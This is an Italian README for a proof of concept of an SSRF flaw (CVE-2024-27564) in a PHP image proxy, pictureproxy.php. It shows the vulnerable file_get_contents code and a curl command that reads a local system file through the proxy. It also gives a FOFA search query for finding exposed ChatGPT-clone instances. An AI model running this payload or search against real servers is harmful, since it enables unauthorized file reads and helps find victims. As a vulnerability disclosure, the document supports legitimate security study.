SSRF-Exploit-CVE-2024-27564

Titolo del progetto

Questo progetto dimostra una vulnerabilità di Server-Side Request Forgery (SSRF) nel file pictureproxy.php.

Descrizione

Una vulnerabilità in pictureproxy.php consente a un attaccante remoto di effettuare richieste arbitrarie iniettando URL nel parametro url. Questa vulnerabilità SSRF può essere sfruttata senza autenticazione, rendendola particolarmente pericolosa.

Il codice vulnerabile si trova nel file pictureproxy.php. Il problema si verifica perché la funzione non valida adeguatamente il parametro url. La variabile $_GET['url'] viene passata alla funzione file_get_contents(), che recupera il contenuto dall'URL specificato. Questo può portare a una SSRF.

Prova di concetto

Ecco una semplice prova di concetto che mostra come la vulnerabilità può essere sfruttata:

<?php
if (isset($_GET['url'])) {
    $image = file_get_contents($_GET['url']);
    header("Content-type: image/jpeg");
    echo $image;
} else {
    echo "Invalid request";
}

Per testare la vulnerabilità, puoi utilizzare il seguente comando curl:

curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password

Testato con reindirizzamento aperto

Un test che utilizza una vulnerabilità di reindirizzamento aperto:

https://64.media.tumblr.com/f07b73b374dc2ff6d5e4dbf39d2a6467/tumblr_nvani31DCm1u5url1o1_1280.jpg

Banner

Strumenti

• FOFA: un motore di ricerca per dispositivi Internet e vulnerabilità. Utilizza il seguente comando per cercare risultati pertinenti:

"title="ChatGPT个人专用版""

Conclusione

Questo progetto evidenzia l'importanza di validare correttamente gli input degli utenti per evitare vulnerabilità SSRF. Assicurati sempre che parametri come gli URL siano controllati a fondo prima di essere elaborati.